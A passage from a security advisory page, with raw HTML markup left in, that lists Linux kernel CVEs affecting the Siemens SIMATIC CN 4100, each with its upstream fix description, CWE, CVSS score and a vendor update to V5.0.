Not tainted 6.16.0-862.14.0.6.x86_64 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) Call Trace: dump_stack_lvl+0x55/0x70 print_address_description.constprop.0+0x2c/0x390 print_report+0xb4/0x270 kasan_report+0xb8/0xf0 end_buffer_read_sync+0xe3/0x110 end_bio_bh_io_sync+0x56/0x80 blk_update_request+0x30a/0x720 scsi_end_request+0x51/0x2b0 scsi_io_completion+0xe3/0x480 ? scsi_device_unbusy+0x11e/0x160 blk_complete_reqs+0x7b/0x90 handle_softirqs+0xef/0x370 irq_exit_rcu+0xa5/0xd0 sysvec_apic_timer_interrupt+0x6e/0x90 Above issue happens when do ntfs3 filesystem mount, issue may happens as follows: mount IRQ ntfs_fill_super read_cache_page do_read_cache_folio filemap_read_folio mpage_read_folio do_mpage_readpage ntfs_get_block_vbo bh_read submit_bh wait_on_buffer(bh); blk_complete_reqs scsi_io_completion scsi_end_request blk_update_request end_bio_bh_io_sync end_buffer_read_sync __end_buffer_read_notouch unlock_buffer wait_on_buffer(bh);--> return will return to caller put_bh --> trigger stack-out-of-bounds In the mpage_read_folio() function, the stack variable 'map_bh' is passed to ntfs_get_block_vbo(). Once unlock_buffer() unlocks and wait_on_buffer() returns to continue processing, the stack variable is likely to be reclaimed. Consequently, during the end_buffer_read_sync() process, calling put_bh() may result in stack overrun. If the bh is not allocated on the stack, it belongs to a folio. Freeing a buffer head which belongs to a folio is done by drop_buffers() which will fail to free buffers which are still locked. So it is safe to call put_bh() before __end_buffer_read_notouch().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39692\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: server: split ksmbd_rdma_stop_listening() out of ksmbd_rdma_destroy() We can't call destroy_workqueue(smb_direct_wq); before stop_sessions()! Otherwise already existing connections try to use smb_direct_wq as a NULL pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Avoid a NULL pointer dereference [WHY] Although unlikely drm_atomic_get_new_connector_state() or drm_atomic_get_old_connector_state() can return NULL. [HOW] Check returns before dereference. (cherry picked from commit 1e5e8d672fec9f2ab352be121be971877bff2af9)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: s390/sclp: Fix SCCB present check Tracing code called by the SCLP interrupt handler contains early exits if the SCCB address associated with an interrupt is NULL. This check is performed after physical to virtual address translation. If the kernel identity mapping does not start at address zero, the resulting virtual address is never zero, so that the NULL checks won't work. Subsequently this may result in incorrect accesses to the first page of the identity mapping. Fix this by introducing a function that handles the NULL case before address translation.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix a race when updating an existing write After nfs_lock_and_join_requests() tests for whether the request is still attached to the mapping, nothing prevents a call to nfs_inode_remove_request() from succeeding until we actually lock the page group. The reason is that whoever called nfs_inode_remove_request() doesn't necessarily have a lock on the page group head. So in order to avoid races, let's take the page group lock earlier in nfs_lock_and_join_requests(), and hold it across the removal of the request in nfs_inode_remove_request().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ACPI: pfr_update: Fix the driver update version check The security-version-number check should be used rather than the runtime version check for driver updates. Otherwise, the firmware update would fail when the update binary had a lower runtime version number than the current one. [ rjw: Changelog edits ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1025 Comparison Using Wrong Factors\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ipv6: sr: Fix MAC comparison to be constant-time To prevent timing attacks, MACs need to be compared in constant time. Use the appropriate helper function for this.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-208 Observable Timing Discrepancy\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39703\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net, hsr: reject HSR frame if skb can't hold tag Receiving HSR frame with insufficient space to hold HSR tag in the skb can result in a crash (kernel BUG): [ 45.390915] skbuff: skb_under_panic: text:ffffffff86f32cac len:26 put:14 head:ffff888042418000 data:ffff888042417ff4 tail:0xe end:0x180 dev:bridge_slave_1 [ 45.392559] ------------[ cut here ]------------ [ 45.392912] kernel BUG at net/core/skbuff.c:211! [ 45.393276] Oops: invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN NOPTI [ 45.393809] CPU: 1 UID: 0 PID: 2496 Comm: reproducer Not tainted 6.15.0 #12 PREEMPT(undef) [ 45.394433] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 45.395273] RIP: 0010:skb_panic+0x15b/0x1d0 [ 45.402911] Call Trace: [ 45.403105] [ 45.404470] skb_push+0xcd/0xf0 [ 45.404726] br_dev_queue_push_xmit+0x7c/0x6c0 [ 45.406513] br_forward_finish+0x128/0x260 [ 45.408483] __br_forward+0x42d/0x590 [ 45.409464] maybe_deliver+0x2eb/0x420 [ 45.409763] br_flood+0x174/0x4a0 [ 45.410030] br_handle_frame_finish+0xc7c/0x1bc0 [ 45.411618] br_handle_frame+0xac3/0x1230 [ 45.413674] __netif_receive_skb_core.constprop.0+0x808/0x3df0 [ 45.422966] __netif_receive_skb_one_core+0xb4/0x1f0 [ 45.424478] __netif_receive_skb+0x22/0x170 [ 45.424806] process_backlog+0x242/0x6d0 [ 45.425116] __napi_poll+0xbb/0x630 [ 45.425394] net_rx_action+0x4d1/0xcc0 [ 45.427613] handle_softirqs+0x1a4/0x580 [ 45.427926] do_softirq+0x74/0x90 [ 45.428196] This issue was found by syzkaller. The panic happens in br_dev_queue_push_xmit() once it receives a corrupted skb with ETH header already pushed in linear data. When it attempts the skb_push() call, there's not enough headroom and skb_push() panics. The corrupted skb is put on the queue by HSR layer, which makes a sequence of unintended transformations when it receives a specific corrupted HSR frame (with incomplete TAG). Fix it by dropping and consuming frames that are not long enough to contain both ethernet and hsr headers. Alternative fix would be to check for enough headroom before skb_push() in br_dev_queue_push_xmit(). In the reproducer, this is injected via AF_PACKET, but I don't easily see why it couldn't be sent over the wire from adjacent network. Further Details: In the reproducer, the following network interface chain is set up: \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth0_to_hsr \u251c\u2500\u2500\u2500\u2524 hsr_slave0 \u253c\u2500\u2500\u2500\u2510 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u251c\u2500\u2524 hsr0 \u251c\u2500\u2500\u2500\u2510 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth1_to_hsr \u253c\u2500\u2500\u2500\u2524 hsr_slave1 \u251c\u2500\u2500\u2500\u2518 \u2514\u2524 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u250c\u253c bridge \u2502 \u2502\u2502 \u2502 \u2502\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502 ... \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 To trigger the events leading up to crash, reproducer sends a corrupted HSR fr ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1286 Improper Validation of Syntactic Correctness of Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Destroy KFD debugfs after destroy KFD wq Since KFD proc content was moved to kernel debugfs, we can't destroy KFD debugfs before kfd_process_destroy_wq. Move kfd_process_destroy_wq prior to kfd_debugfs_fini to fix a kernel NULL pointer problem. It happens when /sys/kernel/debug/kfd was already destroyed in kfd_debugfs_fini but kfd_process_destroy_wq calls kfd_debugfs_remove_process. This line debugfs_remove_recursive(entry->proc_dentry); tries to remove /sys/kernel/debug/kfd/proc/ while /sys/kernel/debug/kfd is already gone. It hangs the kernel by kernel NULL pointer. (cherry picked from commit 0333052d90683d88531558dcfdbf2525cc37c233)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39709\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: protect against spurious interrupts during probe Make sure the interrupt handler is initialized before the interrupt is registered. If the IRQ is registered before hfi_create(), it's possible that an interrupt fires before the handler setup is complete, leading to a NULL dereference. This error condition has been observed during system boot on Rb3Gen2.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39710\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Add a check for packet size after reading from shared memory Add a check to ensure that the packet size does not exceed the number of available words after reading the packet header from shared memory. This ensures that the size provided by the firmware is safe to process and prevent potential out-of-bounds memory access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: rainshadow-cec: fix TOCTOU race condition in rain_interrupt() In the interrupt handler rain_interrupt(), the buffer full check on rain->buf_len is performed before acquiring rain->buf_lock. This creates a Time-of-Check to Time-of-Use (TOCTOU) race condition, as rain->buf_len is concurrently accessed and modified in the work handler rain_irq_work_handler() under the same lock. Multiple interrupt invocations can race, with each reading buf_len before it becomes full and then proceeding. This can lead to both interrupts attempting to write to the buffer, incrementing buf_len beyond its capacity (DATA_SIZE) and causing a buffer overflow. Fix this bug by moving the spin_lock() to before the buffer full check. This ensures that the check and the subsequent buffer modification are performed atomically, preventing the race condition. An corresponding spin_unlock() is added to the overflow path to correctly release the lock. This possible bug was found by an experimental static analysis tool developed by our team.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: usbtv: Lock resolution while streaming When an program is streaming (ffplay) and another program (qv4l2) changes the TV standard from NTSC to PAL, the kernel crashes due to trying to copy to unmapped memory. Changing from NTSC to PAL increases the resolution in the usbtv struct, but the video plane buffer isn't adjusted, so it overflows. [hverkuil: call vb2_is_busy instead of vb2_is_streaming]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise gateway LWS calls to probe user read access We use load and stbys,e instructions to trigger memory reference interruptions without writing to memory. Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel and gateway page execute at privilege level 0, so this code never triggers a read access interruption. Thus, it is currently possible for user code to execute a LWS compare and swap operation at an address that is read protected at privilege level 3 (PRIV_USER). Fix this by probing read access rights at privilege level 3 and branching to lws_fault if access isn't allowed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39716\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise __get_user() to probe user read access Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel executes at privilege level 0, so __get_user() never triggers a read access interruption (code 26). Thus, it is currently possible for user code to access a read protected address via a system call. Fix this by probing read access rights at privilege level 3 (PRIV_USER) and setting __gu_err to -EFAULT (-14) if access isn't allowed. Note the cmpiclr instruction does a 32-bit compare because COND macro doesn't work inside asm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39718\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: vsock/virtio: Validate length in packet header before skb_put() When receiving a vsock packet in the guest, only the virtqueue buffer size is validated prior to virtio_vsock_skb_rx_put(). Unfortunately, virtio_vsock_skb_rx_put() uses the length from the packet header as the length argument to skb_put(), potentially resulting in SKB overflow if the host has gone wonky. Validate the length as advertised by the packet header before calling virtio_vsock_skb_rx_put().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.6\nHIGH\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39719\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: imu: bno055: fix OOB access of hw_xlate array Fix a potential out-of-bounds array access of the hw_xlate array in bno055.c. In bno055_get_regmask(), hw_xlate was iterated over the length of the vals array instead of the length of the hw_xlate array. In the case of bno055_gyr_scale, the vals array is larger than the hw_xlate array, so this could result in an out-of-bounds access. In practice, this shouldn't happen though because a match should always be found which breaks out of the for loop before it iterates beyond the end of the hw_xlate array. By adding a new hw_xlate_len field to the bno055_sysfs_attr, we can be sure we are iterating over the correct length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: serial: 8250: fix panic due to PSLVERR When the PSLVERR_RESP_EN parameter is set to 1, the device generates an error response if an attempt is made to read an empty RBR (Receive Buffer Register) while the FIFO is enabled. In serial8250_do_startup(), calling serial_port_out(port, UART_LCR, UART_LCR_WLEN8) triggers dw8250_check_lcr(), which invokes dw8250_force_idle() and serial8250_clear_and_reinit_fifos(). The latter function enables the FIFO via serial_out(p, UART_FCR, p->fcr). Execution proceeds to the serial_port_in(port, UART_RX). This satisfies the PSLVERR trigger condition. When another CPU (e.g., using printk()) is accessing the UART (UART is busy), the current CPU fails the check (value & ~UART_LCR_SPAR) == (lcr & ~UART_LCR_SPAR) in dw8250_check_lcr(), causing it to enter dw8250_force_idle(). Put serial_port_out(port, UART_LCR, UART_LCR_WLEN8) under the port->lock to fix this issue. Panic backtrace: [ 0.442336] Oops - unknown exception [#1] [ 0.442343] epc : dw8250_serial_in32+0x1e/0x4a [ 0.442351] ra : serial8250_do_startup+0x2c8/0x88e ... [ 0.442416] console_on_rootfs+0x26/0x70\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table 